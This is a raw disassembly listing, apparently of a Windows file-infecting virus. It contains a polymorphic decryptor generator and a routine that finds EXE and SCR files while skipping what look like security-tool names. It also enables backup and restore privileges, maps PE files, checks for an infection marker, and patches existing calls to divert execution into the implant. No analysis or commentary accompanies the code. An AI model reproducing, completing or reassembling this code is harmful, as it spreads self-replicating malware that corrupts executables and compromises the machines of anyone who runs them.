		dd 30010h, 1A740000h, 39C085F7h, 10h, 0A740200h, 0FFFE2EE8h
		dd 0FE9BE8FFh, 0E9B0FFFFh, 858BABAAh, 1042D8h, 0C82BCF8Bh
		dd 42E0BD89h, 48890010h, 6467B8FCh, 33AB36FFh, 0F7AB66C0h
		dd 1039C085h, 300h, 0F6137400h,	1039BE85h, 0A748000h, 0FFFDAAE8h
		dd 0FE5BE8FFh, 67B8FFFFh, 0AB268964h, 0AB66C033h, 39C085F7h
		dd 30010h, 5A740000h, 39BE85F6h, 75800010h, 0FD81E80Ah
		dd 32E8FFFFh, 0E8FFFFFEh, 0FFFFFD02h, 14E820B0h, 0E3FFFFFBh
		dd 0FFB86639h, 91AB6615h, 0C0958BABh, 0F7001039h, 3C2F7D2h
		dd 75000000h, 0FCDCE814h, 1FB0FFFFh, 0FFFAEEE8h, 0FFB866FFh
		dd 91AB6615h, 8BCF8BABh, 1042E085h, 89C82B00h, 85F7FC48h
		dd 1039C0h, 3, 85F73874h, 1039C0h, 0C000000h, 85F72C74h
		dd 1039C0h, 2000000h, 0C2E80A75h, 0E8FFFFFDh, 0FFFFFD4Bh
		dd 39C085F7h, 10h, 0A740800h, 0FFFDACE8h, 0FD61E8FFh, 85F7FFFFh
		dd 1039C0h, 4, 96E81774h, 0B8FFFFFDh, 0C8FEC029h, 0C008B8ABh
		dd 0B8AB0474h, 67EBF875h, 0FD7FE8ABh, 85F7FFFFh, 1039C0h
		dd 8, 0BD807275h, 1039BEh, 0E8697400h, 0FFFFFD65h, 291829B8h
		dd 0BAA50AC9h, 0C0001039h, 0A50A03E4h, 1039BAh,	0FD4BE8ABh
		dd 0B1B0FFFFh, 0BE858AAAh, 0AA001039h, 0FFFD3CE8h, 85B60FFFh
		dd 1039BAh, 4C0048Dh, 8E0C140h,	0AB668DB0h, 57AA01B0h
		dd 0FFFD20E8h, 243C29FFh, 0FBE2B866h, 0C085F759h, 10001039h
		dd 74000000h, 0AA49B007h, 0FA75B866h, 0AB66E102h, 0FFFCFCE8h
		dd 0AAE8B0FFh, 89ABC033h, 1042C4BDh, 0C085F700h, 20001039h
		dd 75000000h, 0DEE8573Bh, 0F7FFFFFCh, 1039C085h, 0
		dd 89187480h, 1042F0BDh, 0FD39E800h, 0C2E8FFFFh, 0B0FFFFFCh
		dd 0BAE8AAC3h, 5AFFFFFCh, 58B0CF8Bh, 850ACA2Bh,	1039B8h
		dd 0AAFC4A89h, 0FFFCA4E8h, 81B866FFh, 0C085F7C0h, 40001039h
		dd 74000000h, 28C48003h, 39B8A50Ah, 0AB660010h,	42C8BD89h
		dd 0F7AB0010h, 1039C085h, 0
; ---------------------------------------------------------------------------
		inc	eax
		jnz	short loc_433B00
		mov	al, 50h
		add	al, [ebp+1039B8h]
		stosb


loc_433B00:				; CODE XREF: .rsrc:00433AF5j
		test	dword ptr [ebp+1039C0h], 80h
		jnz	short loc_433B17
		mov	al, 0B8h
		or	al, [ebp+1039B9h]
		stosb
		jmp	short loc_433B54
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: .rsrc:00433B0Aj
		mov	ax, 1831h
		test	dword ptr [ebp+1039C0h], 100h
		jz	short loc_433B29
		mov	al, 29h


loc_433B29:				; CODE XREF: .rsrc:00433B25j
		or	ah, [ebp+1039B9h]
		shl	ah, 3
		or	ah, [ebp+1039B9h]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+1039C0h], 200h
		jnz	short loc_433B4C
		mov	ah, 0C8h


loc_433B4C:				; CODE XREF: .rsrc:00433B48j
		or	ah, [ebp+1039B9h]
		stosw


loc_433B54:				; CODE XREF: .rsrc:00433B15j
		mov	[ebp+1042E4h], edi
		mov	eax, 29CCh
		stosd
		test	dword ptr [ebp+1039C0h], 8
		jz	short loc_433BDD
		call	sub_43376D
		test	dword ptr [ebp+1039C0h], 400h
		jnz	short loc_433B88
		mov	al, 0B8h
		or	al, [ebp+1039BAh]
		stosb
		jmp	short loc_433BD5
; ---------------------------------------------------------------------------


loc_433B88:				; CODE XREF: .rsrc:00433B7Bj
		test	dword ptr [ebp+1039C0h], 800h
		jnz	short loc_433BA5
		mov	ax, 0E083h
		or	ah, [ebp+1039BAh]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_433BBA
; ---------------------------------------------------------------------------


loc_433BA5:				; CODE XREF: .rsrc:00433B92j
		mov	ax, 1829h
		or	ah, [ebp+1039BAh]
		shl	ah, 3
		or	ah, [ebp+1039BAh]
		stosw


loc_433BBA:				; CODE XREF: .rsrc:00433BA3j
		test	dword ptr [ebp+1039C0h], 1000h
		mov	ax, 0C081h
		jz	short loc_433BCD
		add	ah, 8


loc_433BCD:				; CODE XREF: .rsrc:00433BC8j
		or	ah, [ebp+1039BAh]
		stosw


loc_433BD5:				; CODE XREF: .rsrc:00433B86j
		movzx	eax, byte ptr [ebp+1039BEh]
		stosd


loc_433BDD:				; CODE XREF: .rsrc:00433B6Aj
		call	sub_43376D
		test	dword ptr [ebp+1039C0h], 40000000h
		jz	short loc_433BFC
		mov	al, 50h
		add	al, [ebp+1039B8h]
		stosb
		call	sub_43376D


loc_433BFC:				; CODE XREF: .rsrc:00433BECj
		lea	ecx, [edi-2]
		mov	[ebp+1042CCh], ecx
		test	dword ptr [ebp+1039C0h], 80000000h
		jz	short loc_433C28
		mov	al, 0E8h
		stosb
		mov	eax, [ebp+1042F0h]
		sub	eax, edi
		sub	eax, 4
		stosd
		mov	[ebp+1042F0h], edi
		jmp	short loc_433C2D
; ---------------------------------------------------------------------------


loc_433C28:				; CODE XREF: .rsrc:00433C0Fj
		call	sub_4337DF


loc_433C2D:				; CODE XREF: .rsrc:00433C26j
		call	sub_43376D
		test	dword ptr [ebp+1039C0h], 10000h
		jnz	short loc_433C49
		mov	al, 40h
		or	al, [ebp+1039B8h]
		stosb
		jmp	short loc_433C58
; ---------------------------------------------------------------------------


loc_433C49:				; CODE XREF: .rsrc:00433C3Cj
		mov	ax, 0C083h
		or	ah, [ebp+1039B8h]
		stosw
		mov	al, 1
		stosb


loc_433C58:				; CODE XREF: .rsrc:00433C47j
		test	dword ptr [ebp+1039C0h], 20000h
		jnz	short loc_433C93
		test	dword ptr [ebp+1039C0h], 40000h
		jnz	short loc_433C8A
		mov	al, 0C0h
		or	al, [ebp+1039BAh]
		mov	ah, [ebp+1039BFh]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_433C92
; ---------------------------------------------------------------------------


loc_433C8A:				; CODE XREF: .rsrc:00433C6Ej
		mov	al, 40h
		or	al, [ebp+1039BAh]


loc_433C92:				; CODE XREF: .rsrc:00433C88j
		stosb


loc_433C93:				; CODE XREF: .rsrc:00433C62j
		test	dword ptr [ebp+1039C0h], 80000h
		jnz	short loc_433CAF
		mov	ax, 0E883h
		or	ah, [ebp+1039B9h]
		stosw
		mov	al, 1
		jmp	short loc_433CB7
; ---------------------------------------------------------------------------


loc_433CAF:				; CODE XREF: .rsrc:00433C9Dj
		mov	al, 48h
		or	al, [ebp+1039B9h]


loc_433CB7:				; CODE XREF: .rsrc:00433CADj
		stosb
		call	sub_43376D
		test	dword ptr [ebp+1039C0h], 100000h
		mov	cl, 75h
		jnz	short loc_433CF0
		mov	ax, 0F883h
		or	ah, [ebp+1039B9h]
		stosw
		xor	eax, eax
		stosb
		sub	[ebp+1042CCh], edi
		test	dword ptr [ebp+1039C0h], 200000h
		jnz	short loc_433D0B
		mov	cl, 77h
		jmp	short loc_433D0B
; ---------------------------------------------------------------------------


loc_433CF0:				; CODE XREF: .rsrc:00433CC9j
		mov	ax, 1809h
		or	ah, [ebp+1039B9h]
		shl	ah, 3
		or	ah, [ebp+1039B9h]
		stosw
		sub	[ebp+1042CCh], edi


loc_433D0B:				; CODE XREF: .rsrc:00433CEAj
					; .rsrc:00433CEEj
		mov	al, cl
		mov	ah, [ebp+1042CCh]
		stosw
		mov	al, 58h
		add	al, [ebp+1039B8h]
		stosb
		call	sub_43376D
		test	dword ptr [ebp+1039C0h], 2000003h
		jz	short loc_433D5B
		test	dword ptr [ebp+1039C0h], 8000000h
		jnz	short loc_433D5B
		test	dword ptr [ebp+1039C0h], 6000000h
		jnz	short loc_433D51
		call	sub_4336FB
		call	sub_43376D


loc_433D51:				; CODE XREF: .rsrc:00433D45j
		call	sub_433727
		call	sub_43376D


loc_433D5B:				; CODE XREF: .rsrc:00433D2Dj
					; .rsrc:00433D39j
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_433D6F
		mov	al, 0C9h
		stosb
		call	sub_43376D


loc_433D6F:				; CODE XREF: .rsrc:00433D65j
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_433DA5
		mov	al, 7
		sub	al, [ebp+1039B8h]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, [ebp+1039B8h]
		shl	ah, 3
		add	ah, 4
		stosd
		call	sub_43376D
		mov	al, 61h
		stosb
		call	sub_43376D


loc_433DA5:				; CODE XREF: .rsrc:00433D79j
		mov	ax, 0E0FFh
		or	ah, [ebp+1039B8h]
		stosw
		call	sub_43376D
		test	dword ptr [ebp+1039C0h], 20h
		jz	short loc_433E31
		test	dword ptr [ebp+1039C0h], 80000000h
		jz	short loc_433DED
		mov	eax, edi
		mov	ecx, [ebp+1042F0h]
		sub	eax, ecx
		mov	[ecx-4], eax
		call	sub_4337DF
		call	sub_43376D
		mov	al, 0C3h
		stosb
		call	sub_43376D


loc_433DED:				; CODE XREF: .rsrc:00433DCCj
		mov	eax, edi
		mov	ecx, [ebp+1042C4h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, [ebp+1039B8h]
		stosb
		call	sub_43376D
		test	dword ptr [ebp+1039C0h], 800000h
		jz	short loc_433E20
		mov	ax, 0C350h
		or	al, [ebp+1039B8h]
		jmp	short loc_433E2A
; ---------------------------------------------------------------------------


loc_433E20:				; CODE XREF: .rsrc:00433E12j
		mov	ax, 0E0FFh
		or	ah, [ebp+1039B8h]


loc_433E2A:				; CODE XREF: .rsrc:00433E1Ej
		stosw
		call	sub_43376D


loc_433E31:				; CODE XREF: .rsrc:00433DC0j
		test	dword ptr [ebp+1039C0h], 2000003h
		jz	short loc_433E9C
		mov	ecx, edi
		mov	eax, [ebp+1042DCh]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+1039C0h], 1000000h
		jnz	short loc_433E66
		lea	eax, [ebp+1039B8h]


loc_433E5E:				; CODE XREF: .rsrc:00433E64j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_433E5E


loc_433E66:				; CODE XREF: .rsrc:00433E56j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_433E7B
		mov	ax, 0C031h
		stosw


loc_433E7B:				; CODE XREF: .rsrc:00433E73j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_433E94
		mov	ax, 0C031h
		stosw


loc_433E94:				; CODE XREF: .rsrc:00433E8Cj
		mov	al, 0C3h
		stosb
		call	sub_43376D


loc_433E9C:				; CODE XREF: .rsrc:00433E3Bj
		lea	eax, [ebp+1039CCh]
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_433EB4
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_433ECD
; ---------------------------------------------------------------------------


loc_433EB4:				; CODE XREF: .rsrc:00433EACj
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+1042E4h]
		add	[ebp+1042C4h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_433ECD:				; CODE XREF: .rsrc:00433EB2j
		mov	[ebp+101069h], edi
		mov	edi, [ebp+1042C8h]
		sub	eax, [ebp+1042C4h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_433EED
		neg	eax


loc_433EED:				; CODE XREF: .rsrc:00433EE9j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_433EF1	proc near		; CODE XREF: sub_43445B+336p
		push	esi
		push	edi
		cmp	dword ptr [ebp+104300h], 0
		jz	loc_4340D9
		call	near ptr loc_433F11+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_433F11:				; CODE XREF: sub_433EF1+Fp
		add	bh, bh
sub_433EF1	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		mov	[ebp+104314h], eax
		push	ebx
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_433414
		mov	edx, [ebp+1042F4h]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+104318h], eax
		add	eax, [edx+8]
		mov	[ebp+10431Ch], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_433414
		mov	edi, [ebp+1042F4h]
		push	esi
		call	sub_433414
		mov	edx, [ebp+1042F4h]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_4340D9
		jz	loc_4340D9
		add	esi, [ebp+1042F8h]
		add	esi, [ebp+1042B4h]
; START	OF FUNCTION CHUNK FOR sub_4340AA


loc_433F8B:				; CODE XREF: sub_4340AA+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_434036
		lea	eax, [esi+4]
		sub	eax, [ebp+1042B4h]
		add	eax, [esi]
		push	eax
		call	sub_433414
		cmp	dword ptr [ebp+1042F4h], 0
		jnz	short loc_433FB9
		cmp	eax, [edi+0Ch]
		jnb	loc_4340D2
		jmp	short loc_433FC5
; ---------------------------------------------------------------------------


loc_433FB9:				; CODE XREF: sub_4340AA-FEj
		cmp	[ebp+1042F4h], edx
		jnz	loc_4340D2


loc_433FC5:				; CODE XREF: sub_4340AA-F3j
		add	eax, [ebp+1042B4h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_4340D2
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_433414
		cmp	[ebp+1042F4h], edi
		jnz	loc_4340D2
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_4340D2
		cmp	eax, [edi+8]
		jnb	loc_4340D2


loc_43400E:				; CODE XREF: sub_4340AA+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+1042B4h]
		push	edx
		push	eax
		push	dword ptr [ebp+104314h]
		call	dword ptr [ebp+103E6Eh]
		pop	edx
		test	eax, eax
		jnz	loc_4340E8
		jmp	loc_4340D2
; ---------------------------------------------------------------------------


loc_434036:				; CODE XREF: sub_4340AA-11Cj
		cmp	al, 0FFh
		jnz	loc_4340D2
		cmp	byte ptr [esi],	15h
		jnz	loc_4340D2
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_433414
		cmp	[ebp+1042F4h], edi
		jnz	short loc_4340D2
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	[ebp+104320h], eax
		mov	eax, [eax]
		cmp	eax, [ebp+104318h]
		jb	short loc_43407F
		cmp	eax, [ebp+10431Ch]
		jb	short loc_4340E8


loc_43407F:				; CODE XREF: sub_4340AA-35j
		cmp	eax, 70000000h
		jb	short loc_4340BD
		call	sub_4340AA
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+104320h]
		jnz	short locret_4340A9
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_4340C4
; ---------------------------------------------------------------------------

locret_4340A9:				; CODE XREF: sub_4340AA-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_4340AA

; =============== S U B	R O U T	I N E =======================================



sub_4340AA	proc near		; CODE XREF: sub_4340AA-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 00433F8B SIZE 0000011F BYTES

		pop	dword ptr [ebp+1042D4h]
		pusha
		mov	esi, [ebp+1042B4h]
		call	sub_43351B
		popa


loc_4340BD:				; CODE XREF: sub_4340AA-26j
		test	eax, 80000000h
		jnz	short loc_4340D2


loc_4340C4:				; CODE XREF: sub_4340AA-3j
		sub	eax, [edi+0Ch]
		jb	short loc_4340D2
		cmp	eax, [edi+8]
		jb	loc_43400E


loc_4340D2:				; CODE XREF: sub_4340AA-F9j
					; sub_4340AA-EBj ...
		dec	ecx
		jnz	loc_433F8B


loc_4340D9:				; CODE XREF: sub_433EF1+9j
					; .rsrc:00433F73j ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+29C0h], 0FFBFFFFFh
		jmp	short loc_43412A
; ---------------------------------------------------------------------------


loc_4340E8:				; CODE XREF: sub_4340AA-7Fj
					; sub_4340AA-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+104300h]
		mov	[ebp+1042FCh], eax
		lea	edi, [ecx+29C4h]
		add	eax, [ebp+1042B4h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+54h], 5
		mov	[esi-4], eax


loc_43412A:				; CODE XREF: sub_4340AA+3Cj
		pop	edi
		pop	esi
		retn
sub_4340AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43412D	proc near		; CODE XREF: .rsrc:0043442Ep

; FUNCTION CHUNK AT 00434257 SIZE 00000002 BYTES

		push	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jnz	loc_434257
		push	eax
		push	esp
		push	28h
		push	0FFFFFFFFh
		call	dword ptr [ebp+103F1Ah]
		test	eax, eax
		pop	edi
		js	loc_434257
		call	sub_4325AF
		call	near ptr loc_434168+5
		push	ebx
		db	65h
		jz	short near ptr unk_4341A6
		imul	ebp, [ebp+53h],	72756365h


loc_434168:				; CODE XREF: sub_43412D+2Ap
		imul	esi, [ecx+edi*2+41h], 88B5FF00h
sub_43412D	endp ; sp-analysis failed

		inc	edx
		adc	[eax], al
		call	dword ptr [ebp+103E6Eh]
		mov	[ebp+104290h], eax
		call	near ptr loc_43419C+1
		push	ebx
		db	65h
		push	esp
		popa
		imul	esp, [ebp+4Fh],	77h
		outsb
		db	65h
		jb	short loc_434203
		push	72507069h
		imul	esi, [esi+69h],	6567656Ch


loc_43419C:				; CODE XREF: .rsrc:0043417Fp
		add	[edi-18h], dl
		sub	eax, ebp
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh
		db 0E8h	; è
		db  13h
		db    0
unk_4341A6	db    0			; CODE XREF: sub_43412D+30j
		db    0
		db  53h	; S
		db  65h	; e
		db  52h	; R
		db  65h	; e
		db  73h	; s
		db  74h	; t
		db  6Fh	; o
		db  72h	; r
		db  65h	; e
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; è
		db  0Bh
		db 0E8h	; è
		db 0FFh
		db 0FFh
		db 0E8h	; è
		db  12h
		db    0
		db    0
		db    0
		db  53h	; S
		db  65h	; e
		db  42h	; B
		db  61h	; a
		db  63h	; c
		db  6Bh	; k
		db  75h	; u
		db  70h	; p
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; è
		db 0EEh	; î
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db 0E8h	; è
		db  18h
		db    0
		db    0
		db    0
		db  53h	; S
		db  65h	; e
		db  43h	; C
		db  68h	; h
		db  61h	; a
		db  6Eh	; n
		db  67h	; g
		db  65h	; e
		db  4Eh	; N
		db  6Fh	; o
		db  74h	; t
		db  69h	; i
		db  66h	; f
		db  79h	; y
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; è
		db 0CBh	; Ë
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db  50h	; P
		db  54h	; T
; ---------------------------------------------------------------------------


loc_434203:				; CODE XREF: .rsrc:0043418Dj
		lea	eax, [ebp+103DCCh]
		push	64h
		push	eax
		push	1
		push	edi
		call	dword ptr [ebp+103F26h]
		mov	[esp], edi
		call	dword ptr [ebp+103E62h]
		sub	al, al
		lea	edi, [ebp+104184h]
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp+103DCCh]
		push	40001h
		push	esp
		push	1
		push	edi
		call	dword ptr [ebp+104290h]
		push	esp
		push	4
		push	edi
		call	dword ptr [ebp+104290h]
		add	esp, 14h
		push	dword ptr [ebp+104288h]
		call	dword ptr [ebp+103E9Eh]
; START	OF FUNCTION CHUNK FOR sub_43412D


loc_434257:				; CODE XREF: sub_43412D+Aj
					; sub_43412D+1Fj
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_43412D

; =============== S U B	R O U T	I N E =======================================



sub_434259	proc near		; CODE XREF: .rsrc:00434427p
					; .rsrc:00434433p ...
		lea	esi, [ebp+104184h]
		push	esi
		call	dword ptr [ebp+103EA2h]
		cmp	eax, 0FFFFFFFFh
		jz	locret_43432A
		mov	[ebp+104294h], eax
		push	0
		push	esi
		call	dword ptr [ebp+103EDEh]
		test	eax, eax
		jz	locret_43432A
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+103E7Eh]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4348AB
		mov	[ebp+104298h], eax
		lea	ecx, [ebp+10429Ch]
		lea	edx, [ebp+1042A4h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+103EAAh]
		cmp	eax, 0FFFFFFFFh
		jz	loc_43489F
		push	0
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103EA6h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_43489F
		mov	[ebp+1042ACh], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103E82h]
		test	eax, eax
		jz	loc_43489F
		xor	ecx, ecx
		mov	[ebp+1042B0h], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr [ebp+103ECAh]
		test	eax, eax
		jz	loc_434877
		mov	[ebp+1042B4h], eax

locret_43432A:				; CODE XREF: sub_434259+10j
					; sub_434259+27j ...
		retn
sub_434259	endp

; ---------------------------------------------------------------------------


loc_43432B:				; CODE XREF: sub_43445B+188p
					; sub_43445B+2A0p
		mov	eax, 7327h
		mov	ecx, [ebx+38h]
; ---------------------------------------------------------------------------
		db 0F7h	; ÷
		db  85h	; …
		db 0C0h	; À
		db  39h	; 9
		db  10h
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		and	[ebp+6], dh
		add	eax, [ebp+101069h]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+1042C0h], eax
		mov	eax, 29CBh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+101069h]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+1042B8h], eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_434370	proc near		; CODE XREF: sub_43445B:loc_4344D0p
					; sub_43445B+1B4p
		movzx	ecx, word ptr [ebx+6]
		stc


loc_434375:				; CODE XREF: sub_434370+23j
		jecxz	short locret_4343AC
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_4343AC
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_434375
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, [ebp+1042ACh]

locret_4343AC:				; CODE XREF: sub_434370:loc_434375j
					; sub_434370+1Dj ...
		retn
sub_434370	endp


; =============== S U B	R O U T	I N E =======================================



sub_4343AD	proc near		; CODE XREF: .rsrc:00434445p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_4343AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4343BA:				; CODE XREF: .rsrc:004343DBj
		mov	ecx, edi
		jmp	short loc_4343C9
; ---------------------------------------------------------------------------
		lea	edi, [ebp+104184h]
		cld


loc_4343C5:				; CODE XREF: .rsrc:004343D7j
		mov	ebx, edi
		xor	ecx, ecx


loc_4343C9:				; CODE XREF: .rsrc:004343BCj
					; .rsrc:004343DFj
		lodsb
		cmp	al, 61h
		jb	short loc_4343D4
		cmp	al, 7Ah
		ja	short loc_4343D4
		sub	al, 20h


loc_4343D4:				; CODE XREF: .rsrc:004343CCj
					; .rsrc:004343D0j
		stosb
		cmp	al, 5Ch
		jz	short loc_4343C5
		cmp	al, 2Eh
		jz	short loc_4343BA
		cmp	al, 0
		jnz	short loc_4343C9
		jecxz	short locret_4343AC
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_4343F7
		cmp	eax, 524353h
		jnz	locret_43432A


loc_4343F7:				; CODE XREF: .rsrc:004343EAj
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_43432A
		cmp	eax, 4E554357h
		jz	locret_43432A
		cmp	eax, 32334357h
		jz	locret_43432A
		cmp	eax, 4F545350h
		jz	locret_43432A
		xor	ebx, ebx
		call	sub_434259
		jnz	short loc_43443E
		call	sub_43412D
		call	sub_434259
		jz	locret_43432A


loc_43443E:				; CODE XREF: .rsrc:0043442Cj
		xor	edx, edx
		call	sub_43445B
		call	sub_4343AD
		call	$+5
		pop	ebp
		sub	ebp, 10344Fh
		jmp	loc_434855

; =============== S U B	R O U T	I N E =======================================



sub_43445B	proc near		; CODE XREF: .rsrc:00434440p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+1042B4h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_434855
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_434855
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_434855
		test	byte ptr [ebx+5Ch], 2
		jz	loc_434855
		mov	eax, [ebx+8]
		cmp	eax, 0A0A0A0A0h
		jz	loc_434855
		cmp	eax, 20202020h
		jz	loc_434855
		mov	ecx, [ebx+0C8h]
		jecxz	short loc_4344D0
		push	ecx
		call	sub_433414
		add	ecx, [ebp+1042F8h]
		add	ecx, esi
		and	dword ptr [ecx+40h], 0
		and	dword ptr [ecx+44h], 0


loc_4344D0:				; CODE XREF: sub_43445B+5Dj
		call	sub_434370
		jb	loc_434855
		and	dword ptr [ebp+1042FCh], 0
		mov	eax, [edx+8]
		mov	ecx, [edx+10h]
		sub	eax, ecx
		jnb	short loc_4344F0
		xor	eax, eax
		jmp	short loc_4344F5
; ---------------------------------------------------------------------------


loc_4344F0:				; CODE XREF: sub_43445B+8Fj
		add	ecx, eax
		mov	[edx+10h], ecx


loc_4344F5:				; CODE XREF: sub_43445B+93j
		mov	[ebp+1042BCh], eax
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	near ptr dword_432B50+43h
		xor	[ebp+1039BEh], dl
		mov	cl, 20h
		xor	[ebp+1039BFh], dh


loc_434517:				; CODE XREF: sub_43445B+D5j
		push	20h
		dec	cl
		pop	eax
		js	short loc_434532
		call	near ptr dword_432B50+43h
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+1039C0h], edx
		jmp	short loc_434517
; ---------------------------------------------------------------------------


loc_434532:				; CODE XREF: sub_43445B+C1j
		test	dword ptr [ebp+1039C0h], 2000000h
		jz	short loc_434560
		test	dword ptr [ebp+1039C0h], 3
		jnz	short loc_434556
		and	dword ptr [ebp+1039C0h], 0F7FFFFFFh
		jmp	short loc_434560
; ---------------------------------------------------------------------------


loc_434556:				; CODE XREF: sub_43445B+EDj
		or	dword ptr [ebp+1039C0h], 10000000h


loc_434560:				; CODE XREF: sub_43445B+E1j
					; sub_43445B+F9j ...
		push	6
		pop	ecx


loc_434566:				; CODE XREF: sub_43445B+129j
		push	6
		pop	eax
		call	near ptr dword_432B50+43h
		mov	al, [ebp+1039B8h]
		xchg	al, [edx+ebp+1039B8h]
		mov	[ebp+1039B8h], al
		loop	loc_434566
		test	dword ptr [ebp+1039C0h], 8
		jnz	short loc_43459B
		cmp	byte ptr [ebp+1039BAh],	1
		jz	short loc_434560


loc_43459B:				; CODE XREF: sub_43445B+135j
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_4345C2
		cmp	byte ptr [ebp+1039B8h],	5
		jz	short loc_434560
		cmp	byte ptr [ebp+1039B9h],	5
		jz	short loc_434560
		cmp	byte ptr [ebp+1039BAh],	5
